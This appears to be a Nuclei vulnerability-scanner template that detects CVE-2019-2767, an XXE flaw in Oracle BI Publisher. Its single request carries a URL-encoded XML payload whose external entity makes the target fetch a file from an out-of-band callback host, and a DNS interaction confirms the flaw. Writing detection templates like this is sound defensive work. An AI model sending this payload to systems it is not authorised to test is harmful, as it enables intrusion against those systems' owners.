id: CVE-2019-2767

info:
  name: Oracle BI XXE
  author: madrobot
  severity: high
  reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-2767
  tags: cve,cve2019,oracle,xxe,oob

requests:
  - raw:
      - |
        GET /xmlpserver/convert?xml=%3C%253fxml%2Bversion%253d%221.0%22%2B%253f%3E%3C!DOCTYPE%2Br%2B%5B%3C!ELEMENT%2Br%2BANY%2B%3E%3C!ENTITY%2B%2525%2Bsp%2BSYSTEM%2B%22http%253a%2F%2F%7B%7Binteractsh-url%7D%7D%2Fxxe.xml%22%3E%2525sp%253b%2525param1%253b%5D%3E%26_xf%3DExcel%26_xl%3D123%26template%3D123&_xf=Excel&_xl=123&template=123 HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        part: interactsh_protocol # Confirms the DNS Interaction
        words:
          - "dns"